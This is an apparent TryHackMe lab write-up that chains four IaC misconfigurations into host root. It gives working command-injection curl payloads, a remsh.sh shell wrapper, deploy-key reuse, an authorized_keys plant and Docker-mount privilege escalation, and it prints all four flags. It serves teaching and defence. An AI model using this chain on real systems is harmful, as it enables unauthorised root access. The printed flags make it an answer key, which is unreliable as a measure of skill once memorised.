Writeup on TryHackMe:
DevSecOps / On-Premises IaC

Author: Hubert Feyrer / hubertf, 2026-08-16


Contents

0. Challenge description

Now that you have learned how on-prem IaC deployments work and the security concerns that arise when using IaC, it is time to put your knowledge to the test. [...] Once authenticated, you will find an IaC pipeline's scripts. Work through these files to identify vulnerabilities and attack the machines deployed by the IaC pipeline to ultimately gain full control of the pipeline! You can also use this SSH connection to "catch shells" as required. You will have to leverage these files together with what you learned in Task 5 to be able to compromise the pipeline!

Hints: Nmap has been installed for you on the host, allowing you to scan the port range of the Docker network, if required. Use SSH to proxy out the traffic of the web application, or any other port, as required. You can use the SCP command of SSH to transfer out the IaC configuration files.

1. Download

There is no downloadable handout - the target is a live TryHackMe machine (its IP rotates every time the lab is restarted). Access is a single SSH credential, entry:entry. Right from the start it is worth forwarding a few ports for the web application and the internal services:

$ sshpass -p entry ssh entry@10.128.140.183
$ sshpass -p entry ssh entry@10.128.140.183 \
     -L 20080:172.17.0.2:80 -L 30080:172.18.0.2:80

2. Docker/nc - what we get

We land as entry (uid 1001), a user with no sudo, in no interesting group. A second home directory, /home/ubuntu, belongs to the pipeline owner and holds the IaC scripts. Nmap has been pre-installed by the room, so we map the host and the Docker networks:

$ nmap -T5 -p- -sV localhost
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp   open  http    WebSockify Python/3.8.10
631/tcp  open  ipp     CUPS 2.3
5901/tcp open  vnc     VNC (protocol 3.8)

$ ifconfig -a | grep 'inet ' | grep 172
        inet 172.20.128.1  ...
        inet 172.18.0.1  ...
        inet 172.17.0.1  ...

$ nmap -p- -T5 -sV 172.17.0.2 172.17.0.3
172.17.0.2  80/tcp open  http  Werkzeug/3.0.1 Python/3.8.10     # webserver (Flask)
172.17.0.3  22/tcp open  ssh   OpenSSH 7.9p1 Debian
            3306/tcp open  mysql MySQL 5.7.42                    # dbserver

Conclusion: Two Docker containers - a webserver running a Flask app on port 80, and a dbserver running MySQL 5.7 plus SSH. They appear on several networks (172.17 bridge, 172.18 mirror, 172.20.128 the Vagrant private net); it is the same two containers each time. The websockify/CUPS/VNC on the host itself turn out to be the TryHackMe desktop plumbing, not the challenge.

3. Analysis steps

3.1 The web application, and the IaC files on disk (success)

The webserver's Flask app is a "Bucket List" sign-up/sign-in site (a Terminator-themed skin). It is reachable through the tunnel at http://localhost:20080/. In parallel, /home/ubuntu/iac holds the whole Vagrant + Ansible pipeline, most of it readable by entry.

Bucket List sign-in page

The deployed web application (sign-in page).

Conclusion: Two obvious attack surfaces - the MySQL server, and the web application - plus a pile of IaC source to read. We chase all three.

3.2 MySQL is reachable as root, but sandboxed (failed)

The Ansible defaults (roles/webapp/defaults/main.yml) hand us the database credentials in clear: root:mysecretpasswd on 172.20.128.3. A MySQL root is often a straight path to code execution via sys_eval or INTO OUTFILE.

$ mysql -u root -h 172.20.128.3 -p       # password: mysecretpasswd
mysql> select sys_eval("id");
ERROR 1305 (42000): FUNCTION mysql.sys_eval does not exist
mysql> select "huhu" into outfile '/app/userhome.html';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv
option so it cannot execute this statement

Conclusion: secure_file_priv is set to /var/lib/mysql-files/, so no User-Defined-Function (UDF) upload and no arbitrary file read/write. MySQL is a dead end for code execution. On to the web app.

3.3 The deploy key and flag3 are right there - but 600 (failed)

Reading the pipeline, two prizes stand out in /home/ubuntu: the flag file flag3-of-4.txt, and iac/keys/id_rsa, the Vagrant deploy key that opens root on the containers. Both are owned by ubuntu and mode 600.

$ id
uid=1001(entry) gid=1001(entry) groups=1001(entry)
$ ls -l /home/ubuntu/flag3-of-4.txt /home/ubuntu/iac/keys/id_rsa
-rw------- 1 ubuntu ubuntu   37 ... /home/ubuntu/flag3-of-4.txt
-rw------- 1 ubuntu ubuntu 2602 ... /home/ubuntu/iac/keys/id_rsa
$ cat /home/ubuntu/flag3-of-4.txt
cat: /home/ubuntu/flag3-of-4.txt: Permission denied

The variables file provision/variables/web.yml also contains crypted Linux passwords (rootPassword = iloveyou1, vagrantPassword = stealingMoneyFromBanks). They look like SSH credentials, but every combination is rejected on both containers - they are leftover decoys from a Tomcat/banking role.

$ ssh root@172.18.0.2 id
root@172.18.0.2's password: iloveyou1
Permission denied, please try again.

Conclusion: We know exactly what we want (the deploy key), we just cannot read it yet as entry. We need to run code as someone else. script.sh in ubuntu's home shows what is actually running: a Flask app is exec'd inside the webserver container - so the app is our way in.

3.4 A forgotten "(Dev) Test DB" button - command injection = Remote Code Execution (RCE) as root (success)

The readable copy of the app source (/home/ubuntu/flask-app-terminator/) does not quite match the deployed app. The sign-in template, though, hides a developer helper:

<form action="/api/testDB" method="post">
  <input type="hidden" name="_command" value="service mysql status"/>
  <button id="btntestDB">(Dev) Test DB</button>
</form>
Sign-in page with the (Dev) Test DB button

The sign-in page carries an out-of-place green "(Dev) Test DB" button, wired to POST /api/testDB.

A hidden _command field whose value is a shell command, posted to a route (/api/testDB) that only exists in the deployed app - not in the readable source copy. That smells like the command is passed to a shell. We change the value and post it ourselves:

$ curl -s -X POST http://localhost:20080/api/testDB \
     --data '_command=service+mysql+status'
...
  MySQL Community Server 5.7.42 is running.        # the command output, reflected in the page
...
testDB reflecting the command output

The response reflects the command output straight into the page - here the default "service mysql status".

It runs the command and reflects the output into the page. So we swap in one of our own - id - and pull the answer back out of the HTML with a small grep on the element that carries the result:

$ curl -s -X POST http://localhost:20080/api/testDB --data '_command=id' \
    | grep -A1 'font-orbitron text-4xl text-gray-100 text-glow' \
    | grep -v  'font-orbitron text-4xl text-gray-100 text-glow'
                uid=0(root) gid=0(root) groups=0(root)

Full command execution as root - the app runs as root inside the webserver container. Typing that pipeline for every command gets old fast, so a small wrapper, remsh.sh (listed in full in section 4, Solution), base64-encodes an arbitrary command, runs it, and base64s the output back out of the same element. The very first listing already contains flag1:

$ ./remsh.sh id
uid=0(root) gid=0(root) groups=0(root)
$ ./remsh.sh ls -l
-rw-r--r-- 1 root root 46 Jan 23  2024 flag1-of-4
$ ./remsh.sh cat flag1-of-4
THM{Dev.Bypasses.and.Checks.can.be.Dangerous}

flag1 = THM{Dev.Bypasses.and.Checks.can.be.Dangerous}

Conclusion: A dev-only bypass left in production gives unauthenticated RCE as root inside the webserver container. Rung one of the ladder.

3.5 Read the deploy key from the /vagrant mount = root on both containers (success)

Vagrant bind-mounts the project directory into each container as /vagrant. So /home/ubuntu/iac - including the 600 deploy key we could not read as entry - is sitting inside the container, where we are root. We simply read it (here through a reverse shell caught on the host, but remsh.sh cat works just as well):

$ cd /vagrant/keys ; ls -la
-rw------- 1 1000 1000 2602 Jan 23  2024 id_rsa
-rw-r--r-- 1 1000 1000  570 Jan 23  2024 id_rsa.pub
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

Saved locally, this key opens root on both containers - the webserver (172.17.0.2) and the dbserver (172.17.0.3). One deploy key, never removed, unlocks the whole deployment. flag2 sits in the webserver's root home:

$ ssh -i ./id_rsa root@172.17.0.2
root@e485755d7773:~# cat flag2-of-4.txt
THM{IaC.Deployment.Keys.Must.be.Removed}
$ ssh -i ./id_rsa root@172.17.0.3          # same key, dbserver too
root@fff53cddff71:~#

flag2 = THM{IaC.Deployment.Keys.Must.be.Removed}

Conclusion: The secret that should never be in the pipeline (a private key) is readable the moment you are inside any container. Rung two.

3.6 The over-shared mount /tmp/datacopy = the host's home = flag3 (success)

The Vagrantfile shares more than the project directory. Its own comment gives it away - "Will remove later to harden" - and it was never removed. On the webserver, /proc/mounts shows the host's entire /home/ubuntu mounted at /tmp/datacopy, read-write:

root@e485755d7773:~# grep datacopy /proc/mounts
/dev/root /tmp/datacopy ext4 rw,relatime,discard 0 0
root@e485755d7773:~# cat /tmp/datacopy/flag3-of-4.txt
THM{IaC.Shares.Should.be.Restricted}

flag3 = THM{IaC.Shares.Should.be.Restricted}

Conclusion: The host's 600 file flag3-of-4.txt is unreadable to entry, but trivially readable to the root user inside the container that mounts it. Rung three.

3.7 The mount is writable - become ubuntu, then host root (success)

/tmp/datacopy is not just readable, it is writable. It maps to the host's /home/ubuntu, so we can write into ubuntu's .ssh from the container (where we are root) and then log in as ubuntu on the host. Generate a key pair, append its public half to ubuntu's authorized_keys (chown to uid 1000 so sshd's StrictModes accepts it), and connect:

root@e485755d7773:~# cat /tmp/datacopy/.ssh/authorized_keys   # only the author's keys so far
...
root@e485755d7773:~# cat ~entry-pubkey >> /tmp/datacopy/.ssh/authorized_keys
$ ssh ubuntu@localhost
ubuntu@tryhackme:~$ id
uid=1000(ubuntu) ... groups=...,998(docker)

ubuntu is in the docker group (needed by the pipeline to run vagrant docker-exec) - which is equivalent to host root, since the Docker daemon runs as root. As it happens, the provisioner was even more permissive: sudo -l shows NOPASSWD: ALL. Either road reaches root and flag4:

ubuntu@tryhackme:~$ sudo -l
User ubuntu may run the following commands on tryhackme:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
ubuntu@tryhackme:~$ sudo cat /root/flag4-of-4.txt
THM{Provisioners.Usually.Have.Privileged.Access}

The pure Docker-group route reaches the same place without sudo, by mounting the host filesystem into a throwaway container where you are root:

ubuntu@tryhackme:~$ docker run --rm -v /:/host ansible cat /host/root/flag4-of-4.txt

flag4 = THM{Provisioners.Usually.Have.Privileged.Access}

Conclusion: A provisioning account with far more privilege than it needs (docker group + passwordless sudo), reachable because of the writable host mount, is full host compromise. Rung four - and the room is done.

Deployed app after the dev bypass logs a session in

The deployed app's "Welcome Home" page - the dev bypass also sets a logged-in session, which is how the hidden route was noticed in the first place.

3.8 Dead ends worth recording (failed)

Conclusion: The intended path is not a guessed credential at all - it is the dev bypass in the app, then the pipeline's own misconfigurations. Each of the room's four Question-Hints, read afterwards, describes exactly one rung: the dev feature, "look in /vagrant", the provisioning shares, and the over-privileged provisioner.

4. Solution

The one piece of tooling used is remsh.sh, a tiny wrapper that turns the /api/testDB command injection into a usable shell. It base64-encodes the command so spaces and shell metacharacters survive, runs it through sh inside the container, and base64-encodes the output so it can be pulled cleanly out of the HTML response. Reproduced verbatim (the long curl line was copied straight from the browser's dev tools, hence the full header and cookie set):

#!/bin/sh

cmd="$*"
cmd=$(echo "$cmd" | base64)
cmd="echo $cmd | base64 -d | sh | base64"
cmd=$(echo "$cmd" | tr ' ' '+')
echo Command: $cmd

curl 'http://localhost:30080/api/testDB' -X 'POST' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://localhost:30080' \
  -H 'Referer: http://localhost:30080/signin' \
  -H 'Cookie: session=eyJ1c2VyIjoxfQ.aoCyAg.xRSffM5EWXxYjjd18iqsv-Q4mAA' \
  --data "_command=$cmd" \
  | grep -A1 'class="font-orbitron text-4xl text-gray-100 text-glow"' \
  | grep -v  'class="font-orbitron text-4xl text-gray-100 text-glow"' \
  | base64 -d

echo ""

Two gotchas learned the hard way, worth fixing in the script: change the trailing | base64 to | base64 -w0 (otherwise the output is wrapped at 76 columns and the single-line grep -A1 extraction truncates it), and add 2>&1 after sh (otherwise stderr - "No such file or directory" and friends - is swallowed and an error looks like a hang).

5. Run it

The full climb, condensed to the commands that matter:

# rung 1 - RCE as root in the webserver container, flag1
$ ./remsh.sh cat flag1-of-4
THM{Dev.Bypasses.and.Checks.can.be.Dangerous}

# rung 2 - read the deploy key from the /vagrant mount, ssh root to both containers, flag2
$ ./remsh.sh cat /vagrant/keys/id_rsa > id_rsa ; chmod 600 id_rsa
$ ssh -i ./id_rsa root@172.17.0.2 cat flag2-of-4.txt
THM{IaC.Deployment.Keys.Must.be.Removed}

# rung 3 - the host's /home/ubuntu is mounted at /tmp/datacopy, flag3
$ ssh -i ./id_rsa root@172.17.0.2 cat /tmp/datacopy/flag3-of-4.txt
THM{IaC.Shares.Should.be.Restricted}

# rung 4 - write authorized_keys into the mount, become ubuntu, sudo/docker to host root, flag4
$ ssh-keygen -f id_ubuntu ; # append id_ubuntu.pub to /tmp/datacopy/.ssh/authorized_keys
$ ssh -i id_ubuntu ubuntu@localhost sudo cat /root/flag4-of-4.txt
THM{Provisioners.Usually.Have.Privileged.Access}

flag1 = THM{Dev.Bypasses.and.Checks.can.be.Dangerous}
flag2 = THM{IaC.Deployment.Keys.Must.be.Removed}
flag3 = THM{IaC.Shares.Should.be.Restricted}
flag4 = THM{Provisioners.Usually.Have.Privileged.Access}

6. Summary of how the exploit works

#RungMechanismIaC sin (Task 6)Flag
1 RCE as root in the webserver container Hidden /api/testDB route runs the POST field _command through a shell; a "(Dev) Test DB" button left in production Defaults / forgotten dev feature Dev.Bypasses...
2 root on both containers Deploy key readable at /vagrant/keys/id_rsa (project dir bind-mounted in); one key opens both containers Secret / deploy key never removed ...Keys.Must.be.Removed
3 Read a 600 host file The host's /home/ubuntu is bind-mounted rw at /tmp/datacopy ("Will remove later to harden"); container root ignores the 600 bits Insufficient hardening / over-shared mount ...Shares.Should.be.Restricted
4 Host root Write authorized_keys into the writable mount, become ubuntu; ubuntu has the docker group and passwordless sudo Least privilege / over-permissive provisioner ...Have.Privileged.Access

And the whole chain as one picture:

On-Premises IaC — the map 4 flags = 4 IaC sins: dev bypass / leaked secret / open share / excess privilege YOUR LAPTOP SSH entry:entry (no privileges) SSH HOST "tryhackme" 10.128.143.56 Users entry (1001) = YOU, nothing ubuntu (1000) = owns pipeline, in group docker + sudo root Pipeline (runs as ubuntu) Vagrant (docker) + Ansible flask.service → vagrant docker-exec dockerd (root) socket: root:docker /home/ubuntu/ flag3-of-4.txt (600 ubuntu → entry can't read) iac/ Vagrantfile iac/keys/id_rsa (600 ubuntu) = deploy key iac/ is bind-mounted into both containers ↓ Vagrant deploys + bind-mounts host paths inside WEBSERVER (image "ansible") 172.17.0.2 / 172.20.128.2 Flask :80 runs as ROOT • /api/testDB ?_command= Mounts (rw): /vagrant = host iac/ /tmp/provision = host iac/provision /tmp/datacopy = host /home/ubuntu (ubuntu's whole home — writable!) root SSH ← opened by deploy key DBSERVER image "mysql_vuln" 172.17.0.3 / .20.128.3 MySQL 5.7 root:mysecretpasswd + sshd Mount: /vagrant = iac/ root SSH ← same deploy key RCE via testDB _command one key opens both The privilege ladder — each rung = one sin = one flag 1 entry → testDB _command = RCE as ROOT inside the webserver container sin: forgotten dev feature (Defaults) • flag1 lives in /app flag 1 2 read /vagrant/keys/id_rsa → root @ BOTH containers sin: secret / deploy key never removed • flag2 in the container's root home flag 2 3 /tmp/datacopy = ubuntu's home → read the host file as container-root sin: share left too open (Insufficient Hardening) • flag3 on the HOST /home/ubuntu flag 3 4 datacopy is WRITABLE → back in as ubuntu → group docker + sudo NOPASSWD → HOST root sin: least privilege violated (provisioner too permissive) • flag4 in the HOST root area either docker (-v /:/host) or plain sudo reaches host root flag 4 All 4 flags captured — the chain is complete: each rung is one of Task 6's four IaC sins.

The privilege ladder: RCE in the web container, then the deploy key, then the over-shared host mount, then the over-permissive ubuntu account - each rung one of Task 6's four IaC sins.

7. Visual Summary

Visual summary infographic of the IaC attack path

The four-stage attack path as a single picture, mapped to the four DevSecOps sins. Illustration generated with Google Gemini - the AI-rendered labels are decorative; the authoritative version is the SVG diagram and the summary table in section 6.